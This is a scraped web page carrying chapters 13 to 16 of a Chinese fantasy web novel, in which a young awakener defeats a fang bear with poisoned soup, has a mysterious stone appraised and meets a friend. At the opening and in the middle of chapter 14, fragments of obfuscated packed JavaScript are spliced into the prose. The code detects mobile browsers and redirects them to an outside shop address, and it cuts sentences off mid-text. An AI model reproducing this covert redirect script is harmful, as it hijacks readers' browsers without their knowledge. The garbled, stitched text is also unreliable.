0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338390|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。当前料理熟练度为15%。】 【注:通过食客评价,可对料理效果进行小幅升级;料理熟练度提升也具备一定的提升效果!】 【另,已将“浅水鲶汤”进行收录,毒系附魔已提升至四级!美食开拓者等级提升,已提升至四级!】 一连串的声音,伴随着身后尖牙熊一击未中的吼声,搅得一人一统脑袋闷闷响。 陆燃竹再次躲过尖牙熊释放的撕裂之刃,似乎是察觉眼前的小猎物不像自己想的那么好拿捏,尖牙熊不再收敛。 那头六米高的红熊猛然加快了速度,它朝前猛扑了几步,两颗尖牙在阳光下泛起寒光,眼看就要追上卷发少年。 千钧一发之际,陆燃竹猛地回身将手里的锅往尖牙熊张大的嘴里掷,滚烫的汤水在半空中泼洒出来,带着令人上瘾的香气,顿时吸引了尖牙熊的目光。 红熊瞪大了眼睛,它那硕大的鼻头动了动,整个身躯不由自主地往前偏。 刷拉———— 一声利落的脆响,烹饪了五十分钟的锅壮烈牺牲,大片汤水顺着力道的方向泼洒到尖牙熊的脸部,甚至大部分都入了红熊的口。 “吼?” 被撒了汤水的尖牙熊疑惑地叫了一声,它没再朝前追再度起跑的陆燃竹,而是舔了舔嘴,把嘴边乃至毛发上的汤水都送入口中。 看起来,贪婪又乖顺。 小山一样的尖牙熊趴伏在地时,卷发少年朝前跑的脚步停都没停。 陆燃竹头也不回,他深知那锅“浅水鲶汤”只能起到拖延的作用,等迷惑效果结束,他和金勺勺估计还是会成为尖牙熊的目标。这类灾兽记仇得很,他是不知道为何尖牙熊会出现在密林区,但八九不离十和其他觉醒者有关。 金勺勺也是满脑子逃跑。 一人一统十分专注,直到卷发少年的脚即将触及深入密林的浆果丛时,震耳欲聋的声音从身后传来。 一声倒塌的巨响,使陆燃竹往前扑的姿势霎时间顿住。 卷发少年猛回头,还未关闭的颜色信息世界里,原本属于尖牙熊那澎湃的能量源正在逐渐消散,身上的颜色信息也开始和周围的石头呈现一样的颜色。 金勺勺震惊:“宿主,它……死了吗?” 陆燃竹没立刻回话,他收回踏进浆果丛的脚,缓缓转身,再三确认自己刚刚看到的并不是自己的错觉后,才道:“还没有,但……” 也快了。 他语气带着一丝惊讶,也没想到自己和金勺勺捣鼓的那道“浅水鲶汤”真能起效果,还一举解决了尖牙熊。 即使那只是一只学徒级的尖牙熊,但也是可控区859的一方霸主啊。 【嘀——已经接受到食客评价,“浅水鲶汤”料理效果已升级!新增30秒迷惑效果。当前料理熟练度为35%!】 【“浅水鲶汤”:尖牙熊一生之爱,美味可口,就是喝进去的时候晕乎乎的,还有点疼。】 【附解:融合了整个可控区859内所有毒系食材,加之精准的把控和四级毒系附魔的加持,多管齐下,为剧毒料理,不可轻易品尝!不可轻易品尝!】 接连两句警告,内置系统播报用尖牙熊的经历再三提醒金勺勺和陆燃竹的“残忍”,隐隐透露对两位权限者践踏美食的不满之意。 金勺勺沉默不语,心虚的同时也忍不住默默反驳。 起码,起码那尖牙熊临死前的体验感还是不错的吗? 它很回味无穷啊!一生之爱呢! 陆燃竹的内心戏没有金勺勺那样丰富,卷发少年小心地靠近倒塌在地的尖牙熊。 红熊在看到卷发少年时,蒙上阴翳的双眼半睁着,嘶吼声低沉又虚弱,它死死盯着靠近的陆燃竹,尖牙凝聚起能量,又因为乏力而消散。 剧毒入腹,在陆燃竹沉默的眼神下,六米高的尖牙熊还是不甘地闭上了双眼。 猎人转眼沦为了猎物,陆燃竹和金勺勺也毫不客气地收刮属于自己的胜利果实。 因着系统包裹还存在体积的限制,再加上其他灾兽也可能会被尖牙熊的气息所吸引,陆燃竹只能尽快处理熊尸。 卷发少年掏出一系列刀具,分骨刀劈开尖牙熊的皮毛,斩切刀和剔骨刀配合,卸下部分鲜嫩的熊肉,取出熊胆和心脏。当然,连那对尖牙也尽收囊中。 到最后,陆燃竹取完一定的熊血后便果断离开了现场,一人一统很快又找到一个安静的角落。 拔除身上沾染的熊血之后,才开始检查刚刚收获的东西。 或许灾兽的能力也富含在□□之中,陆燃竹收获的大部分可作为食材的战利品都具备空间系的属性。 【检测到新蓝级食材“尖牙熊胆”、“尖牙熊肉”、“尖牙熊心脏”、“尖牙熊血”、“尖牙熊齿粉”……】 【附魔数据库新增一级空间撕裂系附魔,经验+10!】 【检测到大量食材,是否进行食谱关联?】 “否。”陆燃竹躲在树洞里面,点了否定的选项。尖牙熊的气息还未完全消散,不可以贸然进行下一次尝试,更何况今天他和金勺勺已经收获了很多东西。 不仅附魔数据库新增了毒系、火系、水系等一系列元素附魔,连同较为稀有的空间撕裂系也被纳入数据库,还收获了很多可以拿去觉醒协会兑换的任务物品。 这让接连倒霉好几天的陆燃竹非常满意。 金勺勺也是,美食开拓系统喜滋滋地清点着背包内的东西,身体力行地将陆燃竹塞进去的东西尽心分类归纳,来来回回的,一个勺子忙到不行。 “诶?宿主,这是什么啊?” 正当陆燃竹分心查看附魔数据库时,金勺勺突然指着背包里面的一样物品奇怪地问道。 陆燃竹循着它指的方向看过去,发现在背后的末位一个,出现了一个石块的图像。 他拿刀从旁边割下一片树皮,将其垫在自己的手心上,才把那块石块拿出来。只见褐色树皮上,出现一块大概巴掌大的石块。 它有着暗蓝色表层晶体,内里则是有着红色纹路的灰石。 陆燃竹用树皮左右拨弄一下,发现没有什么额外的动静后,那双紫眸微微一眯。 熟悉的星碎亮色在眼底流转,手里那块石块也层层褪去原本的外形。 先是平淡无奇的灰色,却在陆燃竹定神看了几秒之后又发生了变化。 繁复的颜色世界猛然在少年眼里展开。极强的信息冲击,让眼睛刚好没多久的陆燃竹骤然发出一声闷哼。 熟悉的疼痛带着血泪从他白皙的脸颊上滴落,在金勺勺焦急的询问声里,陆燃竹捂着眼睛,半睁着接着观察那块石块。 各式各样的颜色信息中,他精准捕捉到那一抹熟悉的颜色。 发现的那瞬间,他陡然一惊。 他见过那抹颜色。 就在当初引发可控区752灾兽暴乱的那个不明物上。 14. 第 14 章 第14章 那块奇怪的石块,陆燃竹还是把它收进了背包里面。 从树洞出来后,他们两个又循着觉醒腕表内的指南把整个可控区859都完整地收刮了一片,直到凌晨才返回泗黑崖城内。 他匆匆洗漱一下,又被金勺勺赶着早点上床休息。美食开拓系统心系宿主又复发的眼睛,还叮嘱着让他拿个热水袋敷着。 等舒舒服服睡了一觉醒来,已经是下午四点。 睡得头发凌乱的少年从被窝里面钻出来,他习惯性地跟金勺勺道了一声早安,又把放在床头的热水袋移到桌面上。这间小小的屋子里面没有供暖的机器,半个月来又抽条不少的陆燃竹下床时打了个寒颤。 熟练地穿上棉衣,又熟练地啃着能量块。 卷发少年在发现脚依旧冰凉后默默回到了床上。他蜷缩着拿起二手通讯器看消息,还没解开锁屏,属于千戈的消息便弹了出来。 “兄弟,有空不?” 还是往日那般的问候。陆燃竹手指滑动的时候,上面他回千戈的回复都是没有,不在城内,在可控区等等。 今天刚好,千戈今天问的他正好在城内。 陆燃竹正想回,千戈又发了一条信息过来。 “你今天能来店里一下吗?多晚都行。” 千戈的语气多了几分认真,见状,陆燃竹皱了皱眉,他回道:“我现在有空,你在店里?” “在!你等会过来就行。” 千戈回得很快,似乎又怕陆燃竹太赶,他又补了一句,“你慢慢来,不用着急。” 不用着急?那是有要紧事还是没有? 卷发少年思索片刻,还是起身开始穿衣服,他简单理了理头发,围上一条红围巾就出了门。 出门的时候,正逢下雪。 陆燃竹抬头看着漫天的雪花,呼出一口暖气,恍然发现自己额前的刘海又长长了。 时刻关注陆燃竹身体的金勺勺也发现了这一点,“宿主,我们这几天去添置几件新衣服吧,都有点小了。” 萌生期前后觉醒者身体的变化巨大,吃下去消耗的能量都在催促身体赶紧适应,不知道是不是因为陆燃竹同样也能适应逆觉醒的体质,他抽条的速度比其他人更快,以往还合适甚至偏大的衣服,都短了一大截,连头发也长得比别人快。 原本刚到后颈的头发,现在甚至可以扎起一个小辫子。 “再等等吧。但头发可以剪剪。” 习惯节省的少年捋了额前的头发,衣服倒是不急着换新的,等他不长了再换也不急,只是刘海,倒是可以剪剪。 既然天赋是眼睛,那挡住视线的刘海就没有存在的必要了。 “说起头发,宿主,你为什么要留这个发型啊,这样看不见前面的路呀。” “哪会看不见。”陆燃竹边和金勺勺闲聊一边穿过宣誓广场,视线在触及那片区域更密集的人流时停了一下,随后又移开。 “之前留着,是因为有点用。”他没有说详细。 有用?有什么用? 金勺勺觉得宿主又在敷衍它。 见金勺勺满脸不满,嘴角微勾的陆燃竹坏心眼地不解释,一阵风正巧吹拂他那落满雪的头发,露出那一双带着些许笑意的紫眸。 乍现的一抹笑意,顿时软化了少年疏离又不好惹的气质,引得路过的年轻男女回头注目。 而徐徐向前走的少年缩缩了脖子,思及自己先前留发型的缘由,又低低笑出声来。 他才不会告诉金勺勺,自己挡住眼睛的原因是这样看起来比较不好惹,不至于被人小瞧,也不至于找不到短工。 一人一统很快便到了千千古物屋,陆燃竹推门进去的时候,发现柜台前除了熟悉的小鸣外还站着另外一个人。 是失去一只手臂的谷添。 平日有些怯弱,经常和何斛在一起的男生,此刻正扬起有些僵硬的笑容在迎客。 谷添看到来人,嘴里重复多时的“欢迎观临”霎时卡在了嘴边,他看着长高了的卷发少年脸色平静地走近,又在看了自己一眼后又转头和小鸣说话,和往常一样。 “哦!是燃竹啊?” 小鸣见到陆燃竹倒是笑了笑,他放下手里正在教谷添的东西,往后指了指上楼的楼梯,“老板等着你呢,你直接上去就行了。” “好。” 陆燃竹朝小鸣点了点头就扭头上了楼。 而还愣愣地盯着卷发少年背影的谷添也被一旁的小鸣杵了杵腰部,“喂,回神了!” 见小鸣脸色不悦,谷添连声道:“抱歉,小鸣哥。” 只是这句抱歉没等来小鸣继续的教导,长着一副和蔼老实人外表的小鸣正皱着眉看着他,随后又长长地叹了口气。小鸣拍打着手里的资料,他自己也没搞清眼前人和何斛身上发生了什么。 到底是什么会使这两个讨厌鬼产生如此大的变化。 简直就像变了个模样,都要吓死他了。 原本看不起的何斛会好好说话了,办事也开始踏实起来,自己不用给他擦屁股了,而一向怯弱,只会狐假虎威的谷添也不一直跟在他老大身后来,谦虚地说想学前台招待人的本领。 他倒是不介意培养一个自己的接班人啦,毕竟他来千千古物屋这也是兼职。 只是他很好奇,真很好奇。特别在看到眼前人对陆燃竹不一样的态度就更好奇了。 “所以,你和何斛两人当初到底发生了啥?跟燃竹有关?” 忍了忍还是没忍住的小鸣好奇地问。 而提及何斛和陆燃竹,谷添眼露几抹哀伤,他看着陆燃竹上楼的楼梯,“没,没有什么关系,陆燃竹,他是个好人。” 只是自己和何斛哥之前做错了而已。 而且,他还欠少年一声感谢。 何斛哥说过了,要是没有陆燃竹,他们两个根本不能活着回来。 小鸣听了这句却吓了一大跳,以前他可几乎没从谷添和何斛嘴里听过什么陆燃竹的好话,现在却接二连三的,真是太阳从西边出来了。 眼瞧着小鸣更加好奇,谷添连忙拿起笔扯开话题,“小鸣哥你看我这个记的对不对……” 另一边,约了陆燃竹半个月的千戈也终于见到了人。 三十岁上下的男人有一副温和的面容,一双丹凤眼,看人时显得格外精明。 看见陆燃竹,他立马迎了上来。 “嘶,两个月不见,燃竹你。”他拍了拍少年的肩膀,“长大了不少。” “只是觉醒了而已。”陆燃竹肩膀一顶,顶开了千戈还想继续摸的手,他走到沙发旁坐下,才抬头看着千戈,“你这么着急找我,发生什么事情了?” 卷发少年和千戈认识很久了,久到这件古物屋刚刚成立的时候。那时候陆燃竹初生牛犊不怕虎地自己一个人勇闯可控区,而千戈正巧去测试古物屋的探查工具。两人在一个低级可控区相识,陆燃竹当时正被一只狼型灾兽追到了树上,还是千戈路过救了他一次。 那次之后,他们才算正式认识。 千戈贪图陆燃竹可以适应逆觉醒流的体质,而陆燃竹也需要千戈提供的工资。在古物屋刚开辟寻物副业的时候,也是陆燃竹撑起了失物寻回的口碑。 他们是合作关系,也是一方欠一方人情的关系。 “没什么。”千戈闻言下意识地说,却又在触及少年明显不相信的面部表情时收住了声,他挠挠自己的下巴,又咳了两声,“好吧,就两件事。” “一个是谢谢你救了何斛他们,那小子跟我说了,没有你和你朋友,他们是回不来的。” 千戈很认真,他知道自己那个侄子和陆燃竹有多么不对付,尽管他在店里时时约束何斛那小子,但他平日不在店的时间也不少,防不住那两小子找陆燃竹的茬。也因着这件事,每次他面对陆燃竹的时候,总会有几分愧疚。 “他们能活下来,也是自己的运气不错。”陆燃竹来之前便知道千戈会提这件事,少年一贯抗拒这些细腻的事情,所以他之前才没答应千戈见一面。但迟早还是会碰面,千戈想说清楚的话,还是说开了便好。 “不。”千戈摇了摇头,“运气是一回事,有人帮助是一回事。你能不计较地帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338391|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们,我在这里很感激你。” 这话是他替他那远方姐姐说的。 千戈的正色,让陆燃竹皱了皱鼻子,他挪动下身体,才缓缓说道:“没必要,就当抵了你当初救我的人情吧。” “这算什么。”千戈柔了双眼,放低了声音,“我的人情你早就还了。” 而陆燃竹却打了个颤,他别扭地扭过头,有些抗拒地不想看千戈的脸,“你今天有些肉麻。” “肉麻吗?我觉得还好。”千戈挑了挑眉。 看出他想要打趣自己的心,陆燃竹抿了抿嘴回怼道:“你还是恢复到原来的模样吧。” “第二件事呢,是什么?” 卷发少年深知千戈找自己肯定不止是上面说的那件事,不然千戈不会那么正色地,急着要找自己。 事实证明,陆燃竹的预感是对的。 提到第二件事,千戈的脸都严肃了起来,他盯着卷发少年每一个面部表情,道:“燃竹,你……认识中央联盟学院的人吗?” 中央联盟学院?那是什么? 文盲的陆燃竹微微张开了嘴,疑惑从他半张脸上透出来。 一旁旁听的金勺勺飞速地搜索了中央联盟学院的词条,见状连忙给宿主科普,“中央联盟学院,是整个觉醒联盟排名第一的学院,宿主。” 而听到金勺勺科普的陆燃竹更疑惑了。 他那认识什么中央联盟学院的人,最近勉强认识的,也就一个扈可为。 “看来你不认识。”陆燃竹脸上的疑惑,千戈看的很清楚,心里悬着的心却反倒提得更高了,“昨天,店里有两个人来打听你的事。” “是中央联盟学院的学生,也是上回和你们一起在可控区752 的人。” “一男一女,长得很不错,特地找到店里来,说是要找一个银叶族的少年。” “我认识的特殊种族就你一个,听他们这么说,我第一时间就想到了你。”千戈双手交叉放在腹部,“我没让小鸣他们透露你的身份,那两人听到我说不认识也就走了。” “我看他们不像是什么普通人,担心当初的事是不是还有什么隐情,还是决定和你说一下。” “你要是认识还好,不认识的话。” “你就要留心点了。” 千戈说话的语气很慢,也很慎重。陆燃竹的性子他是清楚的,少年一向聪明谨慎,即使表面看起来是个刺头,但那就是个伪装,他比千戈见过的所有同龄人都要成熟。 正因如此,他才更担心。 担心陆燃竹是不是被什么人给盯上了。 毕竟这个世道,可不是自己小心谨慎就能保全自己。 肮脏的苍蝇没缝的蛋也照常叮。 千戈话里的真心,陆燃竹自然察觉得出来,对于那一男一女,他能想到的也只有当时和扈可为他们离开时看到的另外两个人影,但他们从头到尾都没见过面。 唯一可能见过的,是那个拥有金色龙影的人。 可,他们在找的是银叶族,这个已经和陆燃竹没有任何关系了。 “谢了,告诉我这些。” “客气啥。”千戈笑了笑,“对了,你觉醒身体后会有什么变化吗?” “饿得快,还吃得多,花钱也多。” 卷发少年慢慢地说着,带着淡淡的怨气,“也就那些。” 他略微生气的样子,让千戈看着有些发笑,“怎么还有人嫌弃自己的身体来着,觉醒后可就不一样了。” 作为过来人,还是陆燃竹的长辈,千戈又说了很多觉醒初期该做的一些事情,既包括陆燃竹可以去觉醒协会评定等级,还鼓励少年可以组队去探索等级高一点的可控区。 说到最后,他又提醒了一下,“最近泗黑崖人多眼杂,当初那株痕叶藤似乎藏着什么东西,上面来了很多人在调查,交往的时候也留心点。” 他这么一说,陆燃竹也想到自己经过宣誓广场时见到的场面,至于那痕叶藤藏着什么东西,他眨了下眼,手在兜里蜷缩了下,放轻声音道: “千哥,你帮我鉴定个东西呗。” 15. 第 15 章 第15章 千千古物屋的副业是失物巡回,主业是古物鉴赏。觉醒联盟因天赋各异,觉醒者们从事的职业也各有不同。像何斛那种元素类天赋觉醒者,因具备战斗能力,大都会选择去可控区讨生计;而像千戈这种具备鉴赏能力的觉醒者,会选择开店来维持生计。 千戈是一个召唤类天赋觉醒者,他的天赋是一个放大镜,能够发现物品上的不寻常之处。虽说不是没有战斗能力,但开家古物屋搞鉴定更为轻松。 只不过古物屋赚钱不稳定,所以千戈还捣鼓出一个失物寻回的副业。 “你居然有让我鉴定的东西,这真是有些稀奇。” 听到陆燃竹让自己鉴定,千戈有些惊讶,少年平日不信这种讲究运气的东西,更是很少会和何斛或者小鸣一样在可控区里捡垃圾,今天居然拿出个东西要让自己鉴赏鉴赏,他倒是好奇起来了。 “拿来给我看看。” 陆燃竹也知道提出这个要求有些怪,但他对昨晚捡到的那个石块还是有些在意,而他自己除了上面的颜色信息根本看不出来别的东西,不如找专业的问问。 卷发少年从兜里掏出那块石块。经过清洗和擦拭,放在少年冷白手心上的石块没了昨晚脏兮兮的外表,表面的那层晶体外壳,放在灯光下晶莹剔透,更显神秘。 东西一拿出来,千戈的眼神顿时变得严肃。 他手心一晃,一个闪发着银光的放大镜被他稳稳地握在手心。见千戈蹲在茶几旁开始对那块石块进行鉴定,陆燃竹也没出声,他坐在沙发里面拿出觉醒腕表,正欲看看任务板块上有哪些任务可以接时,属于扈可为的信息顿时弹了出来。 “燃竹,今天得有空了吧,我们从那天之后就见了一次!” 男生不满的语气,让陆燃竹滑动信息的手一顿。 金勺勺也在看,见状还替宿主思索了下,“宿主,的确,你晾他很久了。” “什么叫晾他很久,我最近都是在陪谁?你不清楚?” “哎嘿,当然清楚。”得了便宜的金勺勺卖乖地回道。 陆燃竹盯着消息界面,他也知道自己最近都没答应扈可为见面的事情有些不太好,上次见面还是跟人去处理痕叶藤贮存仓的那些东西。 这样想想,他有点坏。 卷发少年抿了抿唇,打字回:“我现在在千千古物屋,我们等会见?” 他消息一发出去,扈可为那边便立马回道:“一言为定啊,我现在就过去!” “好。” 看完信息,陆燃竹又筛选了一些可以接取的任务后才收起觉醒腕表。同一时间,千戈对那块石块的鉴定结果也出来了。 “燃竹,你这块东西是哪里捡的?”收起放大镜的千戈表情没有刚开始那样严肃,他小心地拿起那块石块,“这东西有些年份了,我只看出它是某块石碑的一部分,上面的纹理应该是某个图腾的。” “有危险吗?” “危险?倒不至于,上面残留一点他人的觉醒力痕迹,但不具有攻击性。”千戈接着补充,“倒像是记忆天赋觉醒者的能力痕迹。” 千戈以前曾在自己老师那里看过一种古物,那种古物是一名具备记忆天赋的觉醒者前辈留下的,能留下具备对话的能力的影像。他有幸观摩过其中的觉醒力痕迹,和这块石块中的很像,但这块石块里的纹路要更复杂一些。 以他现在的能力,没办法看出留存在上面的究竟是什么东西。 能力有限啊。 千戈叹了口气,把东西还给了陆燃竹,“如果你能找到完整的,我倒是可以让我老师帮你看看。” 完整的? 卷发少年收回石块,他到没有想要考古的心思,捡回这块石块,也是因为当时看到里面存在和当初引发灾兽暴乱的不明物一样的颜色信息,有些在意而已。 两人就石块发现的地点以及最近可控区752那件事聊了一会,眼看扈可为约的时间差不多到了,陆燃竹也起身离开,离开前他把鉴定的费用默默放在茶几上,用上面的纸张盖好,等千戈发现急着想拿还给他时,少年早已离开了千千古物屋。 “这小子……” 千戈看着那不多不少的鉴定费,无奈地叹了口气。 与此同时,泗黑崖觉醒协会入口。 执勤的楚谷再次送走一名小客人,魁梧的大汉今天穿着的是红色背带裤,手里的小旗子也是同色系的,甚至连背后的大刀也绑上了一条红色的带子。 整个人站在入口,格外吸睛。 只是今天的觉醒协会没有了往日轻松自由的气氛,变得有些沉闷和严肃。即使内部大厅依旧人来人往,但所有人的目光几乎都会往上楼的电梯口瞥,带着激动和期待,看着那些驻守在电梯口的严肃觉醒者们。 “喂喂,我听说有觉醒传奇在楼上,真的假的?” “不止呢!还有很多位觉醒圣域!” “真的假的,泗黑崖最近怎么了,怎么来这么多人!” “它升咖了?” 真的,千真万确。一位觉醒传奇,三位觉醒圣域,还有很多觉醒宗师。 侧耳听到这些议论,楚谷在保持礼貌微笑的同时也忍不住在内心回应,作为今天最早在门口执勤的人,他有幸看到了几位大人物,自然也知道来的人都是谁。 来的是觉醒传奇是如今十大传奇的末位——金豪申定。这位大能在中央联盟学院当值,属于近些年较为活跃的觉醒传奇之一了。 三位觉醒圣域则分别是银叶诸痕,圣手白芬,瞬影齐津亭。 甚至连最近名声大噪的天才靳洲,他也见了一面。 那真是人中龙凤。 想起今早见过的那位天才,楚谷在窃喜的同时不免感慨,他觉得自己上回和那位燃竹小兄弟描述的,有些失真。 应该再夸大些才是。 底层的议论纷纷,上层的各位大能都不知情。 觉醒协会一至三层都是办事大厅,四层以上则是供给冒险小队会议厅。越往上越私密,顶层更是只有在大领导莅临的时候才开放。而最近连着几天,顶层的灯就没灭过。 靳洲进门的时候,持续三小时的会议刚刚结束。 宽敞的会议厅内,除去进门的自己,还有三个人,或坐或站。坐在最中心那位两鬓花白的严肃男人,更是盯着手里的资料头也不抬。 俊美的男生几步上前,他走得从容,脸上很平静。 他站定在几人面前,“老师,您找我。” 沉稳清冽的声音,让男人抬起头,一旁的一男一女也应声看过来。 “靳洲啊,你来了,找个位置坐。”男人见到靳洲,面上严肃的表情变得柔和,他本是浓眉大眼的端正长相,眉心一松懈倒显得更年轻了几分。 他放下手里的资料,和蔼地问:“沉尧和诸墨两人又跑哪去了?” “说是去找人。” 一旁的银头发男人闻言调侃道:“小墨那孩子说这泗黑崖有我们族的孩子,可能拉着沉尧一起去找了。” 他微微侧身,脖颈处和诸墨一样的银叶图腾熠熠生辉,胸前和另外一人一样,代表觉醒圣域 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一是看看能不能寻找不明物的根源,二是坐镇泗黑崖,保护西部联盟这道防线。 但即使不明物在靳洲他们及时的处理并没有引发过大的灾害,其中的能量源却无法被准确分析出里面的成分。 简单来说,能被封印,但没有探测的方法,它的能量频变化巨大,在短时间内难以捕捉到稳定的检测频率。 “联盟分析所目前还无法研制出可用的检测器,但这种不明物除去能吸引灾兽群外,还能屏蔽和增强灾兽的力量。”申定沉声把会议讨论的结果慢慢说出来,“这也是可控区管理中心没发现痕叶藤等级异常的原因。” 无法监测还能屏蔽和增强,三种要素叠加在一起,让联盟高层感到相当棘手。 “不过分析所也不是一无所获。” 万事发生前都有征兆,通过调取泗黑崖近期所有异常数据,他们捕捉到一些异常频率,再通过放大到整个联盟的数据库中,也推理出一些可能存在异变的地点。 其中泗黑崖异变的概率最高。 申定接着说,“接下来也有一批具备寻踪天赋的觉醒者会入驻泗黑崖。” 机器探查不到就人来探查。 办法总比困难多。 “对了,还有一件事。”申定把另一份资料摆在靳洲面前,在其表面,属于中央联盟学院的红章清晰明了。“你们这届学生的第二轮毕业考核也变,地点改为泗黑崖,任务目标是,清除高阶灾兽目标或寻找不明物痕迹。” “两个考核任务,你们可以自主选择。” 申定双手合十,笑得高深莫测,“当然,如果有能力,能够完成两个,将会有额外奖励。” 坐在他对面的靳洲微微抬眼,他迎着觉醒传奇的眼神,放在桌下的手一顿,随后便是爽快地回应,“我明白了。” “我很期待你们的表现。” 看着靳洲的背影消失在门外,白芬收回视线,她放低声音道:“定哥,这样做真的好吗?让学生们来参与这件事情。” “没有历练成不了才。”申定轻点着桌面上所有泗黑崖近来的的异常报告,最上面的一份,正是前段时间觉醒天赋塔爆炸的意外事故分析。 盯着那份报告的总结,男人眼底满是化不开的郁色,他淡淡道:“如果预言的时刻即将到来,我们将需要更多有能力的觉醒者。” 而靳洲作为年轻一代的第一,他势必会要求更高。 16. 第 16 章 第16章 陆燃竹和扈可为约在千千古物屋门口见面。 卷发少年刚松开店门把手时,远远就瞧见扈可为抱着阿灰傻兮兮地跑过来。 “刚刚好!”扈可为笑得灿烂,或许是在寒风中奔走,又或是男生体温偏高,在陆燃竹头发上落下的白雪仿佛与他隔绝,利落的发型下是端正开朗的脸。 陆燃竹一把接过跳过来的阿灰,他冷白的手隔着袖口抚摸着灰鸡毛茸茸的头,“你慢慢走过来也行。” 扈可为:“那可不行,你好不容易有空跟我见面,时间宝贵啊。” 他嬉皮笑脸,后退一步跟陆燃竹并肩,“话说最近在忙什么?那天之后想约你,你都说没时间。” “就是去可控区试验下天赋,现在搞完了。”陆燃竹哈出一股热气,他感受着怀里阿灰散发的暖意,说话的语气都开始带着一丝懒意。 “天赋!?”听到陆燃竹的话,扈可为后知后觉身旁走着的人现在还是个刚刚觉醒的。当初在甬道迷宫内对少年特殊种族的好奇又渐渐漫上心头。 “我差点又忘了你刚刚觉醒了。”扈可为笑了笑,他看着身侧的卷发少年,语气带着些小心翼翼,“我不知道能不能问哈,燃竹你,是什么种族啊?” “当然,如果这很私密,也可以不告诉我的!” “私密?”陆燃竹的表情没有不好意思,“倒也不是,不过你能忍到现在我也是没想到。” “当初你看我的眼神,我都觉得你下一秒都要问出来了。” “哎,这不觉得……有点私密嘛?”扈可为听出他话中的调侃,脸有些热,他以为当初他隐瞒得很好呢。 陆燃竹有心逗:“那现在不觉得私密了?” 扈可为却拍了拍自己的胸口,“现在当然不会,因为现在我们是朋友了。” 朋友。 男生爽朗直白的态度让陆燃竹抚摸阿灰的手一顿,他眼睫轻颤,在阿灰疑惑地抬头中嘴角上扬,低喃道:“朋友嘛……” “嗯?”少年的声音不大,扈可为疑惑地凑近,问:“你刚刚说什么?我没听清。” “没什么。”见他凑近,陆燃竹还是伸手推远了他的肩膀,“别靠太近。” “这可是朋友间的正常距离!”得寸进尺的扈可为跃跃欲试。 陆燃竹坚定地拒绝: “不是我的正常距离。” “好吧,你真无情。” “我还能更无情,还想不想知道了?” “想!”扈可为果断闭嘴,他往街边看一眼,“不过我们找个地方待着吧,这天还是有点冷了。” 两人最后找了个卷轴店,交易区内类似卷轴这种武器店还是很多的,扈可为带着陆燃竹来到店内的休息区。干净温暖的休息区内,像他们两人一样坐在聊天的人还是不少。 陆燃竹被安排到一个偏僻的角落,靠着窗,又离其他人有些距离。 见卷发少年抱着阿灰坐好,扈可为也坐在了对面,他左右看了下周围,才对陆燃竹开口:“好了。现在可以说了。” “……” 倒也不必如此小心。 看他这个样子,陆燃竹顿时内心有点忐忑起来,他突然觉得自己那个答案可能难以满足扈可为的预期。 “呃……我能适应逆觉醒流,这个你知情的吧。”陆燃竹犹豫下还是开口道。 “这个我知道!”扈可为知道,毕竟在甬道迷宫内,少年从没有像他一样给觉醒腕表补充过能源,甚至对待觉醒腕表的态度也很粗鲁,和他们完全不同。 “但你也不像是银叶族啊。”扈可为暗中也进行过对卷发少年种族身份的猜测,少年除去适应逆觉醒流之外,似乎还有类似寻路的能力。而他知道的银叶族,只有适应这一天赋。 陆燃竹点了点头,“我的眼睛也存在类似感知的能力,这和银叶族不一样。” 他简单描述下自己眼睛的异常,那些都是扈可为当初可以观察到的东西,不能算什么秘密。 “但我找过资料,能与这两种天赋匹配的特殊种族,我找不到。”陆燃竹如实道。“所以我到底是什么族的,我自己也不知道。” 扈可为闻言眉头也微微皱起来,“嗯,特殊种族的事情我也了解一些,在学院里我见过很多厉害的特殊种族,但他们的天赋都与你不一样。” 男生没有陆燃竹想象中的失望,而是直接跳过了反应,反倒帮少年开始思索起来。 “而且他们都只有一种天赋,像你这样的,我几乎没听过。” 扈可为认真地分析,他还是上过种族学的,但在教授说过的所有特殊例子里面,也没有拥有两种天赋的特殊种族。 “感知类的我知道的有幽灵猫族,适应这一天赋能力的,就只有银叶族了。” 能适应逆觉醒流的这一特性,虽然看似平平无奇,但也只有银叶族才拥有这一种族特性。而且在扈可为的认知中,银叶族可不弱,那个银光闪闪的种族出的觉醒圣域只多不少,他还有个学姐,也是个广为人知的天才。 同时,据他所知,特殊种族都是拥有族内传承的,天赋能力的开发和教导,都具备一定的体系。 像陆燃竹这样孤身一人的,很少。 他看着眼前的卷发少年,他还在摸阿灰,冷白的手指在灰色的绒毛内若隐若现,即便阿灰变小了,但它窝在少年的怀里,还是显得好大一只。 见陆燃竹表情淡淡,似乎对自己到底是什么种族丝毫不关心。扈可为沉吟片刻,还是提议道:“我认识个学姐,也是银叶族的,不如我帮你问问,特殊种族之间也有自己的渠道。” “或许她……知道你的种族是什么?” 他语气诚恳,而坐在他对面的陆燃竹却手一顿,他略微抬眼,看着眼前的扈可为,迟疑地问:“我还没问过你,你是在哪里上学?” “我?”没察觉卷发少年表情异常的扈可为笑得不好意思起来,他指了指自己,“我是中央联盟学院的,四年级的学生。” 他笑得腼腆,但眉宇间还是藏有几分骄傲。 毕竟是排名第一的觉醒学院。 扈可为还在不好意思,怕陆燃竹感到负担,他还解释道:“不过我能力也就一般吧,毕竟中央联盟学院天才遍地走,我一个三级觉醒精英,在班上都排不到前列。” 他还在说着,陆燃竹却从他那句中央联盟学院开始内心隐隐有一股预感,千戈形容的那两个找他的学生里面就有一个银发的女生,而经过了解,他也知道大多银叶族会出现银发的特征。 会有那么巧吗? “可为,你那个学姐,不会正好在泗黑崖吧?” 他冷不丁问道,打断了扈可为为自己的挽尊。 